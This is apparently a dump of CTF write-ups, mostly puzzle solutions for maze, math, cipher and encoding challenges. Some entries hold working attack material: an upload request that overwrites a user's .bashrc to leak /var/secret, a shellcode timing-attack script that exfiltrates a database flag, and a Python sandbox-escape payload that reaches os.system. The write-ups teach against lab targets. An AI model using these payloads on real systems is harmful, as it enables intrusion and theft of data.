text_chunk
stringlengths
151
703k
Web03Description: manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check /var/secret. Can you get it? Note: Player shouldn't Dos web01, you can get source code and run in local http://web01.grandprix.whitehatvn.com/ Solves: A lot Points: 100 Team: OpenToAll -------------------------------------- This... was a frustrating challenge. It involves racing against every other team for control of a file. The short description is: we're presented with a python SimpleHTTPServer that also supports an upload and must win the race for control of .bashrc or .profile. The slightly longer description: You can upload any file with the key 'file': ![upload](screenshots/upload.png) The description tells us that a user "manhndd" SSH's in every 2 minutes. When a userconnects over SSH, typically they're using bash as their shell and will load thefiles ~/.profile and ~/.bashrc on connect. We are able to overwrite these two files by changing the filename of the upload: ```httpPOST /SimpleHTTPServerWithUpload.py HTTP/1.1Host: web01.grandprix.whitehatvn.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://files.fm/X-File-Upload: uploadingfilesContent-Length: 228Content-Type: multipart/form-data; boundary=---------------------------158661620315800Origin: https://files.fmConnection: close -----------------------------158661620315800Content-Disposition: form-data; name="file"; filename="/home/manhndd/.bashrc"Content-Type: text/htmlcp /var/secret /opt/dogs -----------------------------158661620315800``` ![bashrc](screenshots/bashrc.png) The issue is that every other team is going to be trying to stomp on these files. I put my requests into Burp Intruder and had it constantly stomp on ~/.profile and ~/.bashrc until the file /var/secret got copied into /opt (the root of the webserver). Once that happens, the flag is reachable at: http://web01.grandprix.whitehatvn.com/dogs I don't have a copy of the flag anymore, but eventually a file named "dogs" appearedin the index and the flag was WhiteHat{SHA1(file_contents)}
The server just sends you some images containing black and white mazes. You just have to make a script to solve them (or you can search one on the Internet) and send the solution. At some point you'll get the flag. The complete write up, with the full code is available [HERE](https://zenhack.it/writeups/HackCon2018/amazeing/)
# Find Me, ASAP (Junior, 339 solved, 20 points)###### Author: [ecurve](https://github.com/Pascalao) ```What does this look like?!``` [findme.txt](https://github.com/Lev9L-Team/ctf/tree/master/2018-08-16_hackcon/find_me_asap/findme.txt) So there is a text. After the first look, we guess there are ASCII characters. So we wrote a program, which read the file and convert the integer values to characters.Our guess was right and we get some text. The text in [result.txt](https://github.com/Lev9L-Team/ctf/tree/master/2018-08-16_hackcon/find_me_asap/result.txt)are the result of the integer values of the [findme.txt](https://github.com/Lev9L-Team/ctf/tree/master/2018-08-16_hackcon/find_me_asap/findme.txt)file. We read the text and get the flag: ```d4rk{4sc11_n_gr3p}c0de```
Shellql-------The challenge, reachable at http://b9d6d408.quals2018.oooverflow.io/,provides a link and a `shellme.so` file.The website accepts a shellcode as `POST` input and passes it to the `shellme` functiondefined in the dynamic library. ### ProblemsAs soon as we tackled the challenge, we realized we were not able to make any request succeed, allof them would return a 500 error.To complicate things even further, the `prclt(22,1)` call in the library was setting seccomp instrict mode before executing the shellcode, so we could only do`read()`, `write()` and `exit()` calls. We decided not to waste any time understanding the error and went for an infinite loop totest whether our shellcode was executing correctly or not. ### IdeaOur only shot to get the flag was to interact with the mysql server, but we didn't want tobuild any c++/php object.Through reproducing the challenge in a local environment, under `strace`, wenoticed that a file descriptor (fd 4) was opened after the connection to thedatabase, so we could write raw mysql commands (using the mysql protocol) to this fd. ### ExploitWe decided to ask (`write()`) for `select * from flag` to the mysql fd, and then towrite (`read()`) the result of the query into the stack. After that, we wanted to search for the `flag` word in memory (that would have been the nameof the table written in the response) and then for `OOO{` and `}` in order to be sure wegot the right fd. To exfiltrate data from the stack we implemented a timing attack. Our initial goal was toimplement a binary search: we would hang the process in an infinite loop in case we `cmp`aredthe character in the stack with a smaller/equal char or we would let the process crash. At the end we were just too lazy to do so: we knew we were missing 66 Bytes of flagbeetween `{` and `}` and we even knew the offset, so we wrote a script to brute'em all \0/. Here's our script:```pythonfrom pwn import *import requestsimport timeimport sys URL = 'http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php' def make_query(): q = "\24\0\0\0\3select * from flag;" blocks = [q[i:i+8] for i in range(0, len(q), 8)] unp = [] for b in blocks: unp.append(hex(u64(b))) return unp shellcode ="""mov rbp,rdi xor rdi, rdiadd rdi, 0x4 mov rax, 0x3b67616c66206d6fpush rax mov rax,0x7266202a20746365push rax mov rax, 0xdeadbeefcafebabemov rdx, 0xb2c8cdeccafebaaaxor rax, rdxpush rax mov rsi, rsp xor rdx,rdxadd rdx, 24xor rdi, rdiadd rdi, 0x4xor rax, raxinc raxsyscall xor rax,raxmov rsi, rspadd rdx, 77777777 syscall""" def test_fn(index, char): payload = shellcode + """ xor rax,rax mov al, {} add rsp, rax movzx rax, byte ptr [rsp - 1] mov dl, {} cmp dl, al je LOOP jmp SEGV LOOP: jmp LOOP SEGV: pop rax """.format(index, char) payload = asm(payload, arch="x86_64") if any(ord(ch) == 0 for ch in payload): print "AIUTO" start_t = time.time() try: requests.post(URL, timeout=3, data={'shell': payload}) except requests.exceptions.ReadTimeout : pass except requests.exceptions.ConnectionError : pass end_t = time.time() print >> sys.stderr, str(end_t - start_t) if end_t - start_t > 1.3: return True return False def get_char(idx): for i in "O{abcdefghijklmnopqrstuvwxyz_, 0123456789!\'}": if test_fn(idx, ord(i)): print >> sys.stderr, i return i return "X" def multiprocess_get_flag(beg, end, n_processes): from multiprocessing import Pool pool = Pool(processes=n_processes) return ''.join(pool.imap(get_char, range(beg, end))) def get_flag(beg,end): flag = "" for j in range(beg, end): flag += get_char(j) print flag return flag if __name__ == "__main__": #print get_flag(70, 140) print multiprocess_get_flag(69, 140, 4)``` This method was not 100% reliable but running it a couple of times gave us the correct flag. At the end the flag was:`OOO{shellcode and webshell is old news, get with the times my friend!}`
# misc04 (misc / PPC, 36 solved, 140 points)###### Author: [ecurve](https://github.com/Pascalao) We solved this challenge outside the time of the CTF competition.And we saw the hint also to late =) ```nc misc04.grandprix.whitehatvn.com 1337 Hint:After get the message "It's a friendly point", you should send the friendly point value.``` The first step was to connect with `nc` to the server. And we get the following output: ``` Wellcom to Friendly face challengeAccording to experts, the formula for measuring the friendliness of a face is (lip point**nose point)**(eyes point**forehead point) mod Face_index Now play!------------------------------Stage 1--------------------------------------Face_index: 7347393Face Lip point Nose point Eyes point Forehead point :-) 41863631 100490338 433902094 652873459 (';') 720650625 719706929 44632477 56144347 (=^..^=) 142081259 704875476 699749648 315470258 :) 294722291 970850134 450232131 742462129 :-] 226920560 95009694 122204027 45544752 :] 419978636 168795806 749824651 172388267 :-3 169061389 163458935 230239302 833499806 :3 222659915 376053203 884875332 926897367 :-> 512342718 430836314 883613002 162365796 :> 973214807 983055326 618589886 458617752 :-* 829485678 183173013 866762490 760677473 :* 911863323 750034484 911025469 282700283 (>_<) 804361569 70671270 237648402 386389863 (>_<)> 717041150 784422762 230679235 697209215 (';') 870541725 934604474 324535939 136986572 (^_^;) 321876650 34072193 145777397 852149094 (-_-;) 262428332 256022776 360070021 65638453 (~_~;) 40608999 564673488 680170138 698406302 (...;) 253840701 631934411 476435244 374214943 (._.;) 700299153 981981513 7044560 574931063 ^_^; 544644229 860203042 822713284 552102413 (#^.^#) 600326407 882227414 388105971 763458706 (^^;) 373505617 52212685 283729546 357811738 (-_-)zzz 256558496 697339357 432211055 257217653 (^_-) 986605960 827562811 301786730 477861902 ((+_+)) 881187058 65057223 24659124 213451687 (+o+) 275497163 288736614 50199023 268649149 ^_^ 538051279 285360765 121867499 424071406 (^_^)/ 707023019 713830152 667400168 136843612 (=_=) 47051104 163496837 931430998 823383842 (?_?) 27892640 489730114 115638092 926684657 (^_^) 706239741 996099289 249987426 169742952 (~o~) 250868895 563094797 49935015 577994314 (~_~) 54032798 925798112 899056668 127589356 o.O 682485064 980406575 651792259 87240399 (o.o) 725167086 225426937 282593914 621300845 oO 695254837 70651574 624587926 707196405 <_< 388528103 868067275 179985006 267407499 >_> 673388376 207088819 549401573 659942714 <o?o> 465291384 340604990 248740621 45935548 (>^.^) 948038027 61723675 712394516 985751951 (^.^<) 567177368 22673350 92544178 771356741 >,< 832402970 734202391 756116941 46767329 ;-( 374064070 30600765 462618136 63339419 >:-( 382441003 606198478 890713495 940274731 @(-_-)@ 189071406 295840184 922086980 635274564 @(^_^)@ 898771760 569141358 483359747 771645465 ~O-O~ 867059109 379549606 804780338 498400529 :)] 353115702 413932035 27502013 488912767 .-] 662536162 428534547 99691553 559342638 .-) 567420268 254121739 759892191 902206113 ,-) 211722291 211055745 40153010 943548463 ':-( 703059585 264763832 559452046 795390806 '-) 445344877 641959889 447832553 230293274 :-D 302439952 149525107 248658785 590936387 :=) 71320926 440537376 225390230 405834011 :@ 471240984 401395194 650316707 121250193 <:-P 885828844 757049808 177839767 163444877 :)>- 588861568 622206413 432416797 691027975 :^) 624429541 463900092 915196501 279579098 3:] 461450342 489729205 736810229 876391148 (o^-^o) 603717335 40046406 890661588 885059023 :-< 428998319 776556312 925447901 911898860 :-[ 361537285 904944936 715276147 272664518 =:-) 35275637 575675666 583156390 300641006 :-)) 161441970 337852758 663729734 39086149 <(-_-)> 698163763 27838325 386413007 523042449 9_9 657113673 493452343 984091980 561393575 =)) 618619426 98516825 787280863 523374517 7:) 65306089 263773625 195414947 38285294 (<_>) 251305509 931217756 763095170 785205173 :-( 317188517 199999679 283049770 139941061 /:-) 794219931 103013193 689585453 82085845 (-_-) 588012907 136457816 64740029 385913950 :-* 885842581 911584499 747602027 638103907 ::=)) 470637566 213120890 471126462 619593967 o_o 60587976 397232681 71622142 668785916 (*^_^*) 411865834 627167204 223220937 280693125 (-::-) 5201502 825489382 463059357 999510308 (^o^) 594623613 663272956 613938262 485372758 :o) 507608626 737864929 20847000 741437727 :|) 433567323 487050957 866942897 165446081 :) 864253778 818516831 501103983 712336363 :-) 899189427 295206846 139726367 911551791 +:-) 176684993 593281940 406054423 394271269 (:-) 942438571 760000844 121984677 791970681 {:-) 443888692 255299521 987711685 178432709 ^&^ 311639969 981312694 890393090 73653885 =.= 593892241 520092250 615590736 107109331 *~* 833482387 908375855 152209426 104232647 (:>-< 190398687 742557605 453762505 409580622 :-)--- 7829689 28416414 946899780 331887275 *-) 928156226 968281617 822076531 910024798 >:* 595073743 58819761 922885299 20966126 >.< 799588936 72213296 288322962 186934867 :-@ 857756440 93121103 870486185 986562930 (:)-) 262026515 583862942 848985028 867245954 ::-) 215692113 568497630 106532166 103073639 :-@ 632932254 818049989 596094296 275422582 @,.,@ 633390760 151902998 636327201 992469562 :-E 737765183 155845512 684251823 461953438 :-[ 560366934 823304271 158732341 394302375 :-)) 747840673 449190960 683246169 138021176 :-[] 109466704 331984671 775806357 128282672 :-))) 622198647 160262735 403905751 155644881 (:- 51814229 867666068 570607084 496475649 $_$ 963994883 264719832 533053302 722484950 (^:^) 831440495 622948710 932932521 493860350 |___| 268505836 775285424 933064452 981412480 :-) 316352295 694512575 342932333 191921001 >O< 614805177 725818288 230941984 147277283 :=) 418610190 985008589 967876841 699547535 -:-) 903170462 399878523 469616931 472889643 |:-) 410902296 132464699 751647940 382987300 <(^.^<) 582581909 999713141 191927660 557712276 <(*.*<) 571232294 670303488 341903736 602512313 (*_*) 349216258 690159136 143329853 58677017 ._. 731037377 843548606 226650296 962637137 @:-) 179816022 867927252 600277313 522069197 <('.')> 605328171 925414409 337872721 858718991 <('.'<) 910045319 212091881 259368181 599648462 <(^.^)> 410545168 806701810 605362681 821719551 <('.'<) 762367016 382642244 296311819 969809800 :-* 210854564 118702731 998475147 620871185 (:-* 965125934 177277283 648124772 445552689 =^.^= 333364710 757923083 970697210 28024835 <{::}> 426744479 299838105 72300327 84046263 :-D 341392777 331707403 318580407 874598364 :)) 85325256 163018313 958811451 362164312 :.-) 62974551 445278119 976956569 762984433 (-: 420535558 171164063 33207427 514530228 >;-> 332030262 652369549 491257133 627112751 :^o 886223895 283538264 265213843 725705006 :-9 355571176 913389899 422264175 842899119So, what is the most friendly face?``` Ok, cool! We have to compute the formula ```(lip point**nose point)**(eyes point**forehead point) mod Face_index``` But we know that the formula is heavy to compute, because of the much exponentiation and the big integers.Ok, how we can transpose this formula to compute the friendliness value really fast? After hours of researching, we found a question on [stackoverflow](https://stackoverflow.com/questions/4223313/finding-abc-mod-m),how it is possible to compute such values faster. Before we found that, we thought on the eulers theorem, but we did not found a real solution for it.But with that question on stackoverflow it was clear, how we can compute it. We used the python function from an answer of that question to compute the friendliness values. The functions are available on [ideone.com](https://ideone.com/bOxFqJ) Now we can compute all the friendliness values of the emojis and append it to a list.After them we sort them and take the first emoji and his value from that list.We send the solution to the server and that for every stage. We reached the stage 5 and solved that.After them we get the flag:```Congrats! Flag, flag, flag!: WhiteHat{^.^_M4th_Math_Chin3se_Rema1nder_The0rem_&_Euler's_ThEorem_M@th_MAth_^/^}``` To solve that it is good to know the euleurs theorem and chinese remainder theorem.
This is really more of a programming task rather than. We interpret the binary digits as input to a 7 segment display: ![7-segment-display](https://www.electronics-tutorials.ws/wp-content/uploads/2013/10/segment4.gif) Implementation of the 7 segment display "pretty printing" is found in the URL. __Input:__ ```01001110-00100000-00111010-00001100-11011110-00011110-00000000-01100000-00101010-01111010-00100000-11110110-00111010-00000000-11111110-00001100-00111000-11011110-00000000-10111100-00001010-11011110-11011110-00101010-00000000-01110110-11011110-00001100-00001100-00111010-01010110-00000000-11111100-00001010-11111010-00101010-11110110-11011110-00000000-11101110-11011110-01111011-00000000-10001110-00001100-11111010-11110110-00000000-00100000-10110110-00000000-00011101-10011111-01111011-10110111-11111110-00001010-00100000-00101010-11110111-01111000-00111010-01100111-10001100-00111011-10101010-11011110``` __Output:__ ```raw XXX X X X X X X X X X X X X X X X X X X XXX XXX XXX XXX X X X X X X X X X X X X X X X X X X X X X XXX XXX XXX XXX X X X X X X X X X X X X XXX XXX XXX XXX X X X X X X X X X X X X X X X X X X X X X X X X X X X XXX XXX XXX XXX XXX X X X X X X X X X X X X X X X XXX XXX X X X X X X X X X X X X X X X X X X XXX XXX XXX XXX XXX XXX X X X X X X X X X X X X X X X XXX XXX XXX XXX X X X X X X X X X X X X X X X X X X X X X XXX XXX XXX XXX X X X X X X X X X X X X X X X X X X X X X X X X XXX XXX XXX XXX X X X X X X X X X X X X X X X X X X XXX XXX XXX XXX XXX XXX XXX XXX X X X X X X X X X X X X X X X X X X X X X XXX XXX XXX XXX XXX X X X X X X X X X X X X X X X X X X X X X X X X X X X XXX XXX XXX XXX XXX XXX X X X X X X X X X X X X X X X XXX XXX XXX X X X X X X X X X X X X X X X XXX XXX X XXX XXX XXX X X X X X X X X X X X X X X X XXX XXX XXX X X X X X X X X X X X X X X X XXX XXX XXX X X X XXX X X X X X X XXX XXX XXX XXX XXX XXX XXX XXX X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X X XXX X XXX X XXX X XXX X XXX XXX X XXX XXX X XXX X XXX ``` __Flag:__ ```d4rk{L.E.d.s.Bring.Joy.To.me}c0de```
# The Abyss, 160 points You are able to netcat to a server where you get a Python prompt that execs whatever you enter. However, what you can run is heavily filtered and dangerous functions are filtered from builtins. The biggest restriction is nothing with `__`, which prevents most Python jail escapes from working. The solution involves creating a code object, and using that to create a function object that you can run to get the flag. First you have to get constructors for both code and function objects. This can be done through lambda functions: `type(lambda: 0)` for functions and `type((labmda: 0).func_code)` for code objects. The next step is to create a code object. You can look at the arguments for the constructor with `help(type((lambda: 0).func_code))`. The parameters can easily be matched up with the properties of the `func_code` property of any function, so you can just copy them from a function you create locally that does what you want. Since it can be assumed the goal is to get a shell, all you need is the `os` module (you can use `os.system`). The `os` module can be gotten through something like `().__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os']`. Simply create a function that returns that and create a code object with the method described above. The next step is copying the function properties. Once again, you can do the same thing and just find the properties corresponding to the arguments of the constructor. During this process you will notice some `__` strings, but you can just separate them into single underscores and concatenate so they aren't noticed. Ultimately, you will get a payload that looks something like:```pythontype(lambda: 0)(type((lambda: 0).func_code)(0, 1, 4, 67, 'g\x00\x00d\x04\x00j\x00\x00j\x01\x00j\x02\x00\x83\x00\x00D]\x1b\x00}\x00\x00|\x00\x00j\x03\x00d\x01\x00k\x02\x00r\x13\x00|\x00\x00^\x02\x00q\x13\x00d\x02\x00\x19j\x04\x00j\x05\x00j\x06\x00d\x03\x00\x19j\x07\x00S', (None, 'catch_warnings', 0, 'linecache', ()), ('_''_class_''_', '_''_base_''_', '_''_subclasses_''_', '_''_name_''_', '_''_re''pr_''_', 'im_func', 'func_globals', 'os'), ('x',), '<stdin>', 'os', 1, ''), {'_''_builtins_''_': globals()['_''_builtins_''_']})().system('cat flag.txt')```
The hint sat `modu- what?` - obvious choice was modulation. I opened Matlab, used both `fmdemod` and `amdemod` on the supported file and the latter one contained flag along with a description of amplitude modulation.
In this challenge we are given gmail screenshot. And its content is encrypted with caesar cipher.To convert image to text we can use any OCR tool (I used this website - https://onlineocr.net/).For better result we can cut the [image](https://github.com/BOAKGP/CTF-Writeups/blob/master/Google%20CTF%202018%20Quals%20Beginners%20Quest/OCR%20is%20cool!/data.png). Now we need to decrypt it. We don't know the key, but there are only 25 possible rotations, so we can try them all.[This website](https://www.mobilefish.com/services/rot13/rot13.php) allows us to try all keys at once. We can see that ROT-7 looks like valid english text and there's also our flag.[decrypted](https://github.com/BOAKGP/CTF-Writeups/blob/master/Google%20CTF%202018%20Quals%20Beginners%20Quest/OCR%20is%20cool!/rot7.txt) Flag: `CTF{caesarcipherisasubstitutioncipher}`
# Caesar's Complication (20 points/ 76 solves)## Problem statement:> King Julius Caesar was infamous for his [wordsearch](https://github.com/GabiTulba/TJCTF2018-Write-ups/blob/master/Caesar's%20Complication/ciphertext) solving speed.## My opinion:Even if the idea of this challenge was pretty straight forward, I still found it very frustrating.## Understanding the challenge:First of all, it was clear from the challenge's name that the encryption was a [Caesar Cipher](https://en.wikipedia.org/wiki/Caesar_cipher) with some arbitrary shift key, and also the statement explicitly said that the ciphertext was a [Word Search](https://en.wikipedia.org/wiki/Word_search) table, so to search for the flag we just needed some code to check for the string that starts with`tjctf{` and ends with `}` in all 8 directions for every possible key. ## The code:```pythonmat=[list(x) for x in open('ciphertext').read().split('\n')] dirx=[0,1,1,1,0,-1,-1,-1]diry=[1,1,0,-1,-1,-1,0,1] def Check(x,y,d): s='' while(x<len(mat) and y<len(mat[x]) and x>0 and y>0): s+=mat[x][y] x+=dirx[d] y+=diry[d] if(s.startswith('tjctf{') and s.endswith('}')): print 'Possible flag found:',s return def Search(): for x in range(len(mat)): for y in range(len(mat[x])): for d in range(8): Check(x,y,d)def Shift(): for i in range(len(mat)): for j in range(len(mat[i])): if(mat[i][j]=='{' or mat[i][j]=='}'): continue elif(mat[i][j]=='z'): mat[i][j]='a' else: mat[i][j]=chr(ord(mat[i][j])+1) for i in range(26): print 'Key:',i Search() Shift()``` ## Finding the flag:The python code gave the following output:>Key: 0 >Key: 1 >... >Key: 8 >Possible flag found: tjctf{idesofmarch} >Key: 9 >... >Key: 25 So the flag was very easy to find:Flag: **tjctf{idesofmarch}**
## 25 - huuuuuge - Misc > Written by Alaska47>> Don't think too deep.>> 104.154.187.226/huuuuuge It looks like a git repository. ```$ nmap -p 80,443,22 104.154.187.226Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-09 19:48 CESTNmap scan report for 226.187.154.104.bc.googleusercontent.com (104.154.187.226)Host is up (0.12s latency). PORT STATE SERVICE22/tcp open ssh80/tcp closed http443/tcp filtered https Nmap done: 1 IP address (1 host up) scanned in 1.95 seconds``` HTTP ports are closed or filtered so we are only able to use git on ssh. ```$ git clone git://104.154.187.226/.git repo-root``` Useless, that not the good repository. Let's try the good one: ```$ git clone git://104.154.187.226/huuuuuge/.git/ repo-hugeCloning into 'huuuuuge'...remote: Counting objects: 309, done.remote: warning: suboptimal pack - out of memoryremote: fatal: Out of memory, malloc failed (tried to allocate 104857601 bytes)remote: aborting due to possible repository corruption on the remote side.fatal: early EOFfatal: index-pack failed``` Now we know why it is called `huuuuuge`. We need to find a way to clone just a part of the repository. Let's see how many branches there are. ```$ git ls-remote git://104.154.187.226/huuuuuge/.git/7282da7e145e269d175dfcceb38b0739a8fa90e7 HEAD7282da7e145e269d175dfcceb38b0739a8fa90e7 refs/heads/master``` So we have only one branch (`master`). I found an Atalassian article about dealing with huge git repository. [How to handle big repositories with Git ](https://www.atlassian.com/blog/git/handle-big-repositories-git) > The first solution to a fast clone and saving developer’s and system’s time and disk space is to copy only recent revisions. Git’s shallow clone option allows you to pull down only the latest n commits of the repo’s history. ```$ git clone --depth 1 git://104.154.187.226/huuuuuge/.git/ repo-hugeCloning into 'repo-huge'...remote: Counting objects: 3, done.remote: Total 3 (delta 0), reused 0 (delta 0)Receiving objects: 100% (3/3), done. $ cd repo-huge $ cat flag.txt tjctf{this_fl4g_1s_huuuuuge}```
# WhiteHat GrandPrix 2018: Misc04 ## Problem Statement `nc misc04.grandprix.whitehatvn.com 1337` __Hint__: After get the message "It's a friendly point", you should send the friendly point value. Here is the prompt: ``` Wellcom to Friendly face challengeAccording to experts, the formula for measuring the friendliness of a face is (lip point**nose point)**(eyes point**forehead point) mod Face_index Now play!------------------------------Stage 1--------------------------------------Face_index: 7897184Face Lip point Nose point Eyes point Forehead point:-) 475020320 847953080 880256045 579217726 (';') 428011459 639570885 173423050 299150823... (=^..^=) 937474753 344758946 966767343 782968811 So, what is the most friendly face?``` ## Solution The solution that will be discussed would be the "semi-naive" approach in solving this problem. It doesn't necessarily solve the problem well sometimes but it is _good enough_ to get the flag. ### Explanation ("Quick" Approach) If we try to compute the _friendliness_ of the `:-)` face, we would have to evaluate:```python((475020320**847953080)**(880256045**579217726)) mod 7897184``` So a useful concept here is to use `mod_pow` which is really just [binary exponentiation](https://cp-algorithms.com/algebra/binary-exp.html). ```pythondef mod_pow(n, e, mod): if e == 0: return 1 ret = mod_pow(n, e/2, mod) ret = (ret*ret) % mod if e % 2 == 1: ret *= n return ret % mod``` With `mod_pow`, we can quickly evaluate `(475020320**847953080) mod 7897184` which is `2954392`. Now we are left with: ```python(2954392**(880256045**579217726)) mod 789718``` It is __incorrect__ to assume that we can simply get `(880256045**579217726) mod 789718` and substitute that value in the equation. Instead we have to find the period of `2954392^r mod 789718`. When we evaluate the following: * `2954392^1 mod 789718` * `2954392^2 mod 789718` * `2954392^3 mod 789718` * `2954392^4 mod 789718` * ... We will find an exponent `r` such that `2954392^r == 2954392 mod 789718`. The easiest way to do this is to just evaluate `r=1`, `r=2`, ... until we find the period, which is `r-1 = 46452`. ```pythondef mod_find_cycle(n, mod): curr = (n**2)%mod count = 2 while curr != n: curr = (curr*n)%mod count+=1 return count-1``` Using this period, we can now find `(475020320**847953080) mod (46452))`, which is `5632`. And now we can simply have to evaluate: ```python(2954392**(5632)) mod 789718``` This is `230232`. So in summary, given the functions defined above:```pythonlip_nose = mod_pow(lip, nose, face_index)cycle_length = mod_find_cycle(lip_nose, face_index)eyes_forehead = mod_pow(eyes, forehead, cycle_length)value = mod_pow(lip_nose, eyes_forehead, face_index)``` ### Full Solution```pythonfrom pwn import * def mod_pow(n, e, mod): if e == 0: return 1 ret = mod_pow(n, e/2, mod) ret = (ret*ret) % mod if e % 2 == 1: ret *= n return ret % mod def mod_find_cycle(n, mod): curr = (n**2)%mod count = 2 while curr != (n%mod): curr = (curr*n)%mod count+=1 return count-1 r = remote('misc04.grandprix.whitehatvn.com', 1337)message = r.recvuntil('face?\n')prompt = message.split('\n')[5:] while True: face_index = int(prompt[0].split(': ')[1]) faces = [] for e in prompt[2:]: if e.startswith('So'): break parts = e.split() face = parts[0] lip = int(parts[1]) nose = int(parts[2]) eyes = int(parts[3]) forehead = int(parts[4]) lip_nose = mod_pow(lip, nose, face_index) cycle_length = mod_find_cycle(lip_nose, face_index) eyes_forehead = mod_pow(eyes, forehead, cycle_length) value = mod_pow(lip_nose, eyes_forehead, face_index) faces.append((value, face)) faces.sort() r.send(faces[-1][1] + '\n') r.recvline() r.send('{}\n'.format(faces[-1][0])) stage = r.recvline() if 'Stage' not in stage: print(stage) break prompt = r.recvuntil('face?\n').split('\n') ``` Perhaps the hardest part of the problem is that without the _hint_, you'd have to guess that you'd have to send the value after giving the face.
# BadCipher My friend insisted on using his own cipher program to encrypt this flag, but I don't think it's very secure. Unfortunately, he is quite good at Code Golf, and it seems like he tried to make the program as short (and confusing!) as possible before he sent it. I don't know the key length, but I do know that the only thing in the plaintext is a flag. Can you break his cipher for me? ## Original program``` pythondef encrypt(m,k,_): r,o,u,x,h=range,ord,chr,"".join,hex l=len(k);s=[m[i::l]for i in r(l)] for i in r(l): a,e=0,"" for c in s[i]: a=o(c)^o(k[i])^(a>>2) e+=u(a) s[i]=e return x(h((1<<8)+o(f))[3:]for f in x(x(y)for y in zip(*s))) flag = '473c23192d4737025b3b2d34175f66421631250711461a7905342a3e365d08190215152f1f1e3d5c550c12521f55217e500a3714787b6554'``` ## Decrypting the program This is clearly a simple xor block cipher with IV 0. To make it a bit easier I rewrote the program in a legible way:```pythondef encrypt(m,k): l=len(k) s=[m[i::l]for i in range(l)] for i in range(l): a=0 e="" for c in s[i]: a=ord(c)^ord(k[i])^(a>>2) e+=chr(a) s[i]=e string1 = zip(*s) string2 = "".join("".join(y)for y in string1) else: enci = "" for f in string2: tmp = (1<<8)+ord(f) tmp_h = hex(tmp)[3:] enci += tmp_h return enci ``` Rapidly we see that this is more of a hash than an actual cipher. The reason is the ```zip" (*s)```. As explained by a helpful StackOverflow contributor ```The iterator stops when the shortest input iterable is exhausted````. This means that if for some reason the length of the message is not a multiple of the key, the resulting array in line 3 ```s=[m[i::l]for i in range(l)]``` will have at least one element of shorter length than the rest. During the zip operation, this will result in all information contained in the last byte of all other elements of the array to be lost. This caused me quite some grief while testing because I couldn't understand how the resulting encrypted string could be so much shorter than the input. In the meantime however, I realized that in order to get the first bytes of the key this wouldn't matter, for as long as the length of the key wasn't exceeded. I knoew that the flag would start with 'tjctf{' so I wrote the following script: ```python def finchr(ex,texttofind,flag): for i in range(255): keyer = ex + chr(i) if encrypt(flag,keyer,1).decode('hex')[0:len(keyer)] == texttofind[0:len(keyer)]: return i else: pass def brutus(txt,flag): keykey = "" for i in range(len(txt)): tmp = finchr(keykey,txt[0:len(keykey)+1],flag) keykey += chr(tmp) return keykey fir_key = brutus('tjctf{',flag.decode('hex')) ``` This sucessfully gave me the initial 6 chars: ```3V@mK<```. At this point however, I couldn't rely on that kind of bruteforcing anymore since the flags have been shown to contain digits and letters. At this point my best bet was to devise a second bruteforcing method. In this case, I wrote a decryption script, then just incremented the key by one char each time and tested all possible combinations for order 32 to 130 (it still had to be printable I figured), decrypted the flag using that key and checked if it was printable: ```pythondef decrypt(m,k): l=len(k) s=[m[i::l]for i in range(l)] #always results in arr of length l for i in range(l): a=0 e="" for c in s[i]: cur_k = k[i] tmp = ord(c)^ord(cur_k)^(a>>2) a = ord(c) e+=chr(tmp) s[i]=e string1 = zip(*s) string2 = "".join("".join(y)for y in string1) dec = "" for f in string2: tmp = (1<<8)+ord(f) tmp_h = hex(tmp)[3:] dec += tmp_h return dec.decode('hex') def checkifprint(stri): for i in stri: if i not in good_bubu: return False break return True ``` In the end the key turned out to be 8 chars (that's when I got the most ```checkifprint=True``` and the final```}```) leaving me with about 4 possibilities. I picked the most likely one: flag : ```tjctf{m4ybe_Wr1t3ing_mY_3ncRypT10N_MY5elf_W4Snt_v_sm4R7}```key : ```3V@mK<[0```
# HackCon2018: Programming 100 - aMAZEing ## Problem Statement We intercepted some weird transmission. Can you find what they are hiding?! `nc 139.59.30.165 9300` Here is the prompt: ```Get ready to solve some mazes.We will send you a image over this socket. Give us the path which is required to go from position (0,0) in the top left to position (n, n) in the bottom right.If no such path is possible please send back 'INVALID' without any quotes. The path should be given in terms of WASD alphabets. Where they represent the folling: W = Move up A = Move left S = Move down D = Move right Ready to recieve (Press Enter) ... WooHoo you got it correct. Now solve a few more and get your flag.``` ### Sample Image ![sample maze](100.png) ## Solution ### Explanation The task asks you to download images of mazes and find paths from the top left corner to the bottom right corner. This is just your standard path finding. In my case, I used __Breadth-First-Search (BFS)__. So first we have to get the image. I'm used to loading imagine from a file so I opted to save the image first. If you read the source code, you might notice that the ```pythonfrom pwn import * def fetch_image(r): image_delimiter = 'INVALID\n' image = r.recvuntil(image_delimiter) while image[1] != 'P': image = image[1:] with open('100.png', 'wb') as f: f.write(image) r = remote('139.59.30.165', 9300) ``` And from here you just load the image and create a map of passable and impassable cells ```pythonfrom scipy import misc... def solve(): maze = misc.imread('100.png') width, height, _ = maze.shape cell_width = 10 width /= cell_width height /= cell_width bitmap = [[1 if (maze[x*cell_width][y*cell_width][0] == 0) else 0 for x in range(width)] for y in range(height)] ...``` This is now your standard BFS. Now note that in the challenge, there are special cases of when the starting and/or ending cells are walls/impassable, and it is still considered a valid maze. ```pythonfrom Queue import Queue... dx = [0, 1, 0, -1]dy = [1, 0, -1, 0]cmd = ['S', 'D', 'W', 'A'] ... def solve(): ... bitmap = ... flag = {} prev_move = {} prev_move[(0,0)] = -1 q = Queue() q.put((0, 0)) while(not q.empty()): x, y = q.get() for d in range(4): _x = x + dx[d] _y = y + dy[d] if min(_x, _y) < 0 or _x >= width or _y >= height: continue if _x == width-1 and _y == height-1: flag[(_x, _y)] = d if bitmap[_x][_y]: continue if (_x, _y) in flag: continue flag[(_x, _y)] = d q.put((_x, _y)) ans = [] x = width-1 y = height-1 if (x,y) not in flag: return 'INVALID' else: while(max(x, y) > 